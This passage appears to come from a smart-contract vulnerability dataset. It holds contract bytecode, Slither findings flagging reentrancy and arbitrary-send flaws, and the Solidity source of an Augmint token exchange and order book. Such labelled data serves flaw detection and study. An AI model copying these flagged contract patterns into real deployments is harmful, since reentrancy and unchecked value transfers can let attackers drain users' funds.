92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122037c4f1f8830b83a176d91f2cfb5bb37936a8aec133c3677eedb9a032e500076864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,592 |
0x8b52b019d237d0bbe8baedf219132d5254e0690b | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b, "mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub underflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add overflow");
return c;
}
function roundedDiv(uint a, uint b) internal pure returns (uint256) {
require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason
uint256 z = a / b;
if (a % b >= b / 2) {
z++; // no need for safe add b/c it can happen only if we divided the input
}
return z;
}
}
/*
Generic contract to authorise calls to certain functions only from a given address.
The address authorised must be a contract (multisig or not, depending on the permission), except for local test
deployment works as:
1. contract deployer account deploys contracts
2. constructor grants "PermissionGranter" permission to deployer account
3. deployer account executes initial setup (no multiSig)
4. deployer account grants PermissionGranter permission for the MultiSig contract
(e.g. StabilityBoardProxy or PreTokenProxy)
5. deployer account revokes its own PermissionGranter permission
*/
contract Restricted {
// NB: using bytes32 rather than the string type because it's cheaper gas-wise:
mapping (address => mapping (bytes32 => bool)) public permissions;
event PermissionGranted(address indexed agent, bytes32 grantedPermission);
event PermissionRevoked(address indexed agent, bytes32 revokedPermission);
modifier restrict(bytes32 requiredPermission) {
require(permissions[msg.sender][requiredPermission], "msg.sender must have permission");
_;
}
constructor(address permissionGranterContract) public {
require(permissionGranterContract != address(0), "permissionGranterContract must be set");
permissions[permissionGranterContract]["PermissionGranter"] = true;
emit PermissionGranted(permissionGranterContract, "PermissionGranter");
}
function grantPermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = true;
emit PermissionGranted(agent, requiredPermission);
}
function grantMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
grantPermission(agent, requiredPermissions[i]);
}
}
function revokePermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = false;
emit PermissionRevoked(agent, requiredPermission);
}
function revokeMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
revokePermission(agent, requiredPermissions[i]);
}
}
}
interface ERC20Interface {
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed from, address indexed to, uint amount);
function transfer(address to, uint value) external returns (bool); // solhint-disable-line no-simple-event-func-name
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function balanceOf(address who) external view returns (uint);
function allowance(address _owner, address _spender) external view returns (uint remaining);
}
interface TransferFeeInterface {
function calculateTransferFee(address from, address to, uint amount) external view returns (uint256 fee);
}
interface TokenReceiver {
function transferNotification(address from, uint256 amount, uint data) external;
}
contract AugmintTokenInterface is Restricted, ERC20Interface {
using SafeMath for uint256;
string public name;
string public symbol;
bytes32 public peggedSymbol;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint256) public balances; // Balances for each account
mapping(address => mapping (address => uint256)) public allowed; // allowances added with approve()
address public stabilityBoardProxy;
TransferFeeInterface public feeAccount;
mapping(bytes32 => bool) public delegatedTxHashesUsed; // record txHashes used by delegatedTransfer
event TransferFeesChanged(uint transferFeePt, uint transferFeeMin, uint transferFeeMax);
event Transfer(address indexed from, address indexed to, uint amount);
event AugmintTransfer(address indexed from, address indexed to, uint amount, string narrative, uint fee);
event TokenIssued(uint amount);
event TokenBurned(uint amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address to, uint value) external returns (bool); // solhint-disable-line no-simple-event-func-name
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function delegatedTransfer(address from, address to, uint amount, string narrative,
uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */
bytes32 nonce, /* random nonce generated by client */
/* ^^^^ end of signed data ^^^^ */
bytes signature,
uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */
) external;
function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data,
uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */
bytes32 nonce, /* random nonce generated by client */
/* ^^^^ end of signed data ^^^^ */
bytes signature,
uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */
) external;
function increaseApproval(address spender, uint addedValue) external returns (bool);
function decreaseApproval(address spender, uint subtractedValue) external returns (bool);
function issueTo(address to, uint amount) external; // restrict it to "MonetarySupervisor" in impl.;
function burn(uint amount) external;
function transferAndNotify(TokenReceiver target, uint amount, uint data) external;
function transferWithNarrative(address to, uint256 amount, string narrative) external;
function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external;
function allowance(address owner, address spender) external view returns (uint256 remaining);
function balanceOf(address who) external view returns (uint);
}
contract Rates is Restricted {
using SafeMath for uint256;
struct RateInfo {
uint rate; // how much 1 WEI worth 1 unit , i.e. symbol/ETH rate
// 0 rate means no rate info available
uint lastUpdated;
}
// mapping currency symbol => rate. all rates are stored with 4 decimals. i.e. ETH/EUR = 989.12 then rate = 989,1200
mapping(bytes32 => RateInfo) public rates;
event RateChanged(bytes32 symbol, uint newRate);
constructor(address permissionGranterContract) public Restricted(permissionGranterContract) {} // solhint-disable-line no-empty-blocks
function setRate(bytes32 symbol, uint newRate) external restrict("RatesFeeder") {
rates[symbol] = RateInfo(newRate, now);
emit RateChanged(symbol, newRate);
}
function setMultipleRates(bytes32[] symbols, uint[] newRates) external restrict("RatesFeeder") {
require(symbols.length == newRates.length, "symobls and newRates lengths must be equal");
for (uint256 i = 0; i < symbols.length; i++) {
rates[symbols[i]] = RateInfo(newRates[i], now);
emit RateChanged(symbols[i], newRates[i]);
}
}
function convertFromWei(bytes32 bSymbol, uint weiValue) external view returns(uint value) {
require(rates[bSymbol].rate > 0, "rates[bSymbol] must be > 0");
return weiValue.mul(rates[bSymbol].rate).roundedDiv(1000000000000000000);
}
function convertToWei(bytes32 bSymbol, uint value) external view returns(uint weiValue) {
// next line would revert with div by zero but require to emit reason
require(rates[bSymbol].rate > 0, "rates[bSymbol] must be > 0");
/* TODO: can we make this not loosing max scale? */
return value.mul(1000000000000000000).roundedDiv(rates[bSymbol].rate);
}
}
/* Augmint's Internal Exchange
For flows see: https://github.com/Augmint/augmint-contracts/blob/master/docs/exchangeFlow.png
TODO:
- change to wihtdrawal pattern, see: https://github.com/Augmint/augmint-contracts/issues/17
- deduct fee
- consider take funcs (frequent rate changes with takeBuyToken? send more and send back remainder?)
- use Rates interface?
*/
contract Exchange is Restricted {
using SafeMath for uint256;
AugmintTokenInterface public augmintToken;
Rates public rates;
uint public constant CHUNK_SIZE = 100;
struct Order {
uint64 index;
address maker;
// % of published current peggedSymbol/ETH rates published by Rates contract. Stored as parts per million
// I.e. 1,000,000 = 100% (parity), 990,000 = 1% below parity
uint32 price;
// buy order: amount in wei
// sell order: token amount
uint amount;
}
uint64 public orderCount;
mapping(uint64 => Order) public buyTokenOrders;
mapping(uint64 => Order) public sellTokenOrders;
uint64[] private activeBuyOrders;
uint64[] private activeSellOrders;
/* used to stop executing matchMultiple when running out of gas.
actual is much less, just leaving enough matchMultipleOrders() to finish TODO: fine tune & test it*/
uint32 private constant ORDER_MATCH_WORST_GAS = 100000;
event NewOrder(uint64 indexed orderId, address indexed maker, uint32 price, uint tokenAmount, uint weiAmount);
event OrderFill(address indexed tokenBuyer, address indexed tokenSeller, uint64 buyTokenOrderId,
uint64 sellTokenOrderId, uint publishedRate, uint32 price, uint fillRate, uint weiAmount, uint tokenAmount);
event CancelledOrder(uint64 indexed orderId, address indexed maker, uint tokenAmount, uint weiAmount);
event RatesContractChanged(Rates newRatesContract);
constructor(address permissionGranterContract, AugmintTokenInterface _augmintToken, Rates _rates)
public Restricted(permissionGranterContract) {
augmintToken = _augmintToken;
rates = _rates;
}
/* to allow upgrade of Rates contract */
function setRatesContract(Rates newRatesContract)
external restrict("StabilityBoard") {
rates = newRatesContract;
emit RatesContractChanged(newRatesContract);
}
function placeBuyTokenOrder(uint32 price) external payable returns (uint64 orderId) {
require(price > 0, "price must be > 0");
require(msg.value > 0, "msg.value must be > 0");
orderId = ++orderCount;
buyTokenOrders[orderId] = Order(uint64(activeBuyOrders.length), msg.sender, price, msg.value);
activeBuyOrders.push(orderId);
emit NewOrder(orderId, msg.sender, price, 0, msg.value);
}
/* this function requires previous approval to transfer tokens */
function placeSellTokenOrder(uint32 price, uint tokenAmount) external returns (uint orderId) {
augmintToken.transferFrom(msg.sender, this, tokenAmount);
return _placeSellTokenOrder(msg.sender, price, tokenAmount);
}
/* place sell token order called from AugmintToken's transferAndNotify
Flow:
1) user calls token contract's transferAndNotify price passed in data arg
2) transferAndNotify transfers tokens to the Exchange contract
3) transferAndNotify calls Exchange.transferNotification with lockProductId
*/
function transferNotification(address maker, uint tokenAmount, uint price) external {
require(msg.sender == address(augmintToken), "msg.sender must be augmintToken");
_placeSellTokenOrder(maker, uint32(price), tokenAmount);
}
function cancelBuyTokenOrder(uint64 buyTokenId) external {
Order storage order = buyTokenOrders[buyTokenId];
require(order.maker == msg.sender, "msg.sender must be order.maker");
require(order.amount > 0, "buy order already removed");
uint amount = order.amount;
order.amount = 0;
_removeBuyOrder(order);
msg.sender.transfer(amount);
emit CancelledOrder(buyTokenId, msg.sender, 0, amount);
}
function cancelSellTokenOrder(uint64 sellTokenId) external {
Order storage order = sellTokenOrders[sellTokenId];
require(order.maker == msg.sender, "msg.sender must be order.maker");
require(order.amount > 0, "sell order already removed");
uint amount = order.amount;
order.amount = 0;
_removeSellOrder(order);
augmintToken.transferWithNarrative(msg.sender, amount, "Sell token order cancelled");
emit CancelledOrder(sellTokenId, msg.sender, amount, 0);
}
/* matches any two orders if the sell price >= buy price
trade price is the price of the maker (the order placed earlier)
reverts if any of the orders have been removed
*/
function matchOrders(uint64 buyTokenId, uint64 sellTokenId) external {
require(_fillOrder(buyTokenId, sellTokenId), "fill order failed");
}
/* matches as many orders as possible from the passed orders
Runs as long as gas is available for the call.
Reverts if any match is invalid (e.g sell price > buy price)
Skips match if any of the matched orders is removed / already filled (i.e. amount = 0)
*/
function matchMultipleOrders(uint64[] buyTokenIds, uint64[] sellTokenIds) external returns(uint matchCount) {
uint len = buyTokenIds.length;
require(len == sellTokenIds.length, "buyTokenIds and sellTokenIds lengths must be equal");
for (uint i = 0; i < len && gasleft() > ORDER_MATCH_WORST_GAS; i++) {
if(_fillOrder(buyTokenIds[i], sellTokenIds[i])) {
matchCount++;
}
}
}
function getActiveOrderCounts() external view returns(uint buyTokenOrderCount, uint sellTokenOrderCount) {
return(activeBuyOrders.length, activeSellOrders.length);
}
// returns CHUNK_SIZE orders starting from offset
// orders are encoded as [id, maker, price, amount]
function getActiveBuyOrders(uint offset) external view returns (uint[4][CHUNK_SIZE] response) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < activeBuyOrders.length; i++) {
uint64 orderId = activeBuyOrders[offset + i];
Order storage order = buyTokenOrders[orderId];
response[i] = [orderId, uint(order.maker), order.price, order.amount];
}
}
function getActiveSellOrders(uint offset) external view returns (uint[4][CHUNK_SIZE] response) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < activeSellOrders.length; i++) {
uint64 orderId = activeSellOrders[offset + i];
Order storage order = sellTokenOrders[orderId];
response[i] = [orderId, uint(order.maker), order.price, order.amount];
}
}
function _fillOrder(uint64 buyTokenId, uint64 sellTokenId) private returns(bool success) {
Order storage buy = buyTokenOrders[buyTokenId];
Order storage sell = sellTokenOrders[sellTokenId];
if( buy.amount == 0 || sell.amount == 0 ) {
return false; // one order is already filled and removed.
// we let matchMultiple continue, indivudal match will revert
}
require(buy.price >= sell.price, "buy price must be >= sell price");
// pick maker's price (whoever placed order sooner considered as maker)
uint32 price = buyTokenId > sellTokenId ? sell.price : buy.price;
uint publishedRate;
(publishedRate, ) = rates.rates(augmintToken.peggedSymbol());
uint fillRate = publishedRate.mul(price).roundedDiv(1000000);
uint sellWei = sell.amount.mul(1 ether).roundedDiv(fillRate);
uint tradedWei;
uint tradedTokens;
if (sellWei <= buy.amount) {
tradedWei = sellWei;
tradedTokens = sell.amount;
} else {
tradedWei = buy.amount;
tradedTokens = buy.amount.mul(fillRate).roundedDiv(1 ether);
}
buy.amount = buy.amount.sub(tradedWei);
if (buy.amount == 0) {
_removeBuyOrder(buy);
}
sell.amount = sell.amount.sub(tradedTokens);
if (sell.amount == 0) {
_removeSellOrder(sell);
}
augmintToken.transferWithNarrative(buy.maker, tradedTokens, "Buy token order fill");
sell.maker.transfer(tradedWei);
emit OrderFill(buy.maker, sell.maker, buyTokenId,
sellTokenId, publishedRate, price, fillRate, tradedWei, tradedTokens);
return true;
}
function _placeSellTokenOrder(address maker, uint32 price, uint tokenAmount)
private returns (uint64 orderId) {
require(price > 0, "price must be > 0");
require(tokenAmount > 0, "tokenAmount must be > 0");
orderId = ++orderCount;
sellTokenOrders[orderId] = Order(uint64(activeSellOrders.length), maker, price, tokenAmount);
activeSellOrders.push(orderId);
emit NewOrder(orderId, maker, price, tokenAmount, 0);
}
function _removeBuyOrder(Order storage order) private {
_removeOrder(activeBuyOrders, order.index);
}
function _removeSellOrder(Order storage order) private {
_removeOrder(activeSellOrders, order.index);
}
function _removeOrder(uint64[] storage orders, uint64 index) private {
if (index < orders.length - 1) {
orders[index] = orders[orders.length - 1];
}
orders.length--;
}
} | 0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c85feea1461012d5780630d53272e146101785780632453ffa8146102245780632bd0ce0f146102635780632dc9d3e51461029a57806343f48fbd146102eb5780635b225526146103425780635fe07013146103ab57806364e7e4a4146103fc5780636e593210146104535780637b9b9c89146104df5780637e6503bb146105365780637ea46993146105685780639ac3317b146105ee578063ae654d3114610674578063ae94ec05146106b7578063bcaeed2014610705578063c3c51aca146107b1578063c7e83451146107e8578063c93e8b151461084f578063e91e13a9146108db578063f38a826214610906575b600080fd5b34801561013957600080fd5b50610176600480360381019080803567ffffffffffffffff169060200190929190803567ffffffffffffffff169060200190929190505050610957565b005b34801561018457600080fd5b506101ad600480360381019080803567ffffffffffffffff1690602001909291905050506109d9565b604051808567ffffffffffffffff1667ffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018363ffffffff1663ffffffff16815260200182815260200194505050505060405180910390f35b34801561023057600080fd5b50610239610a4d565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34801561026f57600080fd5b50610298600480360381019080803567ffffffffffffffff169060200190929190505050610a67565b005b3480156102a657600080fd5b506102d5600480360381019080803563ffffffff16906020019092919080359060200190929190505050610c9e565b6040518082815260200191505060405180910390f35b3480156102f757600080fd5b50610300610df2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034e57600080fd5b50610391600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610e18565b604051808215151515815260200191505060405180910390f35b3480156103b757600080fd5b506103fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610e47565b005b34801561040857600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061102c565b005b34801561045f57600080fd5b5061047e60048036038101908080359060200190929190505050611102565b604051808260646000925b818410156104cf5782846020020151600460200280838360005b838110156104be5780820151818401526020810190506104a3565b505050509050019260010192610489565b9250505091505060405180910390f35b3480156104eb57600080fd5b506104f461124f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054257600080fd5b5061054b611275565b604051808381526020018281526020019250505060405180910390f35b34801561057457600080fd5b506105ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061128c565b005b3480156105fa57600080fd5b50610672600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506112d4565b005b34801561068057600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611437565b005b6106db600480360381019080803563ffffffff1690602001909291905050506115d9565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34801561071157600080fd5b5061073a600480360381019080803567ffffffffffffffff169060200190929190505050611905565b604051808567ffffffffffffffff1667ffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018363ffffffff1663ffffffff16815260200182815260200194505050505060405180910390f35b3480156107bd57600080fd5b506107e6600480360381019080803567ffffffffffffffff169060200190929190505050611979565b005b3480156107f457600080fd5b50610839600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050611c7f565b6040518082815260200191505060405180910390f35b34801561085b57600080fd5b5061087a60048036038101908080359060200190929190505050611db6565b604051808260646000925b818410156108cb5782846020020151600460200280838360005b838110156108ba57808201518184015260208101905061089f565b505050509050019260010192610885565b9250505091505060405180910390f35b3480156108e757600080fd5b506108f0611f03565b6040518082815260200191505060405180910390f35b34801561091257600080fd5b50610955600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611f08565b005b61096182826120ed565b15156109d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f66696c6c206f72646572206661696c656400000000000000000000000000000081525060200191505060405180910390fd5b5050565b60036020528060005260406000206000915090508060000160009054906101000a900467ffffffffffffffff16908060000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600001601c9054906101000a900463ffffffff16908060010154905084565b600260149054906101000a900467ffffffffffffffff1681565b600080600360008467ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002091503373ffffffffffffffffffffffffffffffffffffffff168260000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610b5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f6d73672e73656e646572206d757374206265206f726465722e6d616b6572000081525060200191505060405180910390fd5b60008260010154111515610bd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f627579206f7264657220616c72656164792072656d6f7665640000000000000081525060200191505060405180910390fd5b8160010154905060008260010181905550610bf0826127fc565b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c36573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff168367ffffffffffffffff167f46576cf7860a96ee935d6c6cb19aed137c56b1338f49b73225afe99cb923e761600084604051808381526020018281526020019250505060405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610d9957600080fd5b505af1158015610dad573d6000803e3d6000fd5b505050506040513d6020811015610dc357600080fd5b810190808051906020019092919050505050610de0338484612822565b67ffffffffffffffff16905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007f5065726d697373696f6e4772616e74657200000000000000000000000000000060001916815260200190815260200160002060009054906101000a900460ff161515610f62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f6d73672e73656e646572206d7573742068617665205065726d697373696f6e4781526020017f72616e746572207065726d697373696f6e00000000000000000000000000000081525060400191505060405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f789770131846de4d1f28418f0f957cdf4fcabe5eccf70067083e20ecece69a348260405180826000191660001916815260200191505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6d73672e73656e646572206d757374206265206175676d696e74546f6b656e0081525060200191505060405180910390fd5b6110fc838284612822565b50505050565b61110a612e1b565b60008060008092505b60648360ff1610801561112f5750600680549050858460ff1601105b156112475760068360ff16860181548110151561114857fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff169150600460008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002090506080604051908101604052808367ffffffffffffffff1681526020018260000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600001601c9054906101000a900463ffffffff1663ffffffff1681526020018260010154815250848460ff1660648110151561123257fe5b60200201819052508280600101935050611113565b505050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600580549050600680549050915091509091565b60008082519150600090505b818110156112ce576112c18484838151811015156112b257fe5b90602001906020020151610e47565b8080600101915050611298565b50505050565b6000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007f5065726d697373696f6e4772616e74657200000000000000000000000000000060001916815260200190815260200160002060009054906101000a900460ff1615156113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f6d73672e73656e646572206d7573742068617665205065726d697373696f6e4781526020017f72616e746572207065726d697373696f6e00000000000000000000000000000081525060400191505060405180910390fd5b82519150600090505b818110156114315761142484848381518110151561141557fe5b90602001906020020151611f08565b80806001019150506113fb565b50505050565b7f53746162696c697479426f6172640000000000000000000000000000000000006000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff161515611531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6d73672e73656e646572206d7573742068617665207065726d697373696f6e0081525060200191505060405180910390fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f25f1c01ba20b2c8c2800a53b03fcaf2967976566b4851cc1ef43b7ba334c2eac82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15050565b6000808263ffffffff16111515611658576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f7072696365206d757374206265203e203000000000000000000000000000000081525060200191505060405180910390fd5b6000341115156116d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6d73672e76616c7565206d757374206265203e2030000000000000000000000081525060200191505060405180910390fd5b6002601481819054906101000a900467ffffffffffffffff1660010191906101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055905060806040519081016040528060058054905067ffffffffffffffff1681526020013373ffffffffffffffffffffffffffffffffffffffff1681526020018363ffffffff16815260200134815250600360008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600001601c6101000a81548163ffffffff021916908363ffffffff16021790555060608201518160010155905050600581908060018154018082558091505090600182039060005260206000209060049182820401919006600802909192909190916101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550503373ffffffffffffffffffffffffffffffffffffffff168167ffffffffffffffff167f19e48c9ddede2f434b2a662a6e331ff29b3701f08ad88722e4fecf058b3fd75984600034604051808463ffffffff1663ffffffff168152602001838152602001828152602001935050505060405180910390a3919050565b60046020528060005260406000206000915090508060000160009054906101000a900467ffffffffffffffff16908060000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600001601c9054906101000a900463ffffffff16908060010154905084565b600080600460008467ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002091503373ffffffffffffffffffffffffffffffffffffffff168260000160089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f6d73672e73656e646572206d757374206265206f726465722e6d616b6572000081525060200191505060405180910390fd5b60008260010154111515611ae8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f73656c6c206f7264657220616c72656164792072656d6f76656400000000000081525060200191505060405180910390fd5b8160010154905060008260010181905550611b0282612b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffdcf09533836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001806020018281038252601a8152602001807f53656c6c20746f6b656e206f726465722063616e63656c6c65640000000000008152506020019350505050600060405180830381600087803b158015611c0057600080fd5b505af1158015611c14573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff168367ffffffffffffffff167f46576cf7860a96ee935d6c6cb19aed137c56b1338f49b73225afe99cb923e761836000604051808381526020018281526020019250505060405180910390a3505050565b60008060008686905091508484905082141515611d2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001807f627579546f6b656e49647320616e642073656c6c546f6b656e496473206c656e81526020017f67746873206d75737420626520657175616c000000000000000000000000000081525060400191505060405180910390fd5b600090505b8181108015611d465750620186a063ffffffff165a115b15611dac57611d918787838181101515611d5c57fe5b9050602002013567ffffffffffffffff168686848181101515611d7b57fe5b9050602002013567ffffffffffffffff166120ed565b15611d9f5782806001019350505b8080600101915050611d2f565b5050949350505050565b611dbe612e1b565b60008060008092505b60648360ff16108015611de35750600580549050858460ff1601105b15611efb5760058360ff168601815481101515611dfc57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff169150600360008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002090506080604051908101604052808367ffffffffffffffff16815260200182600001600890549061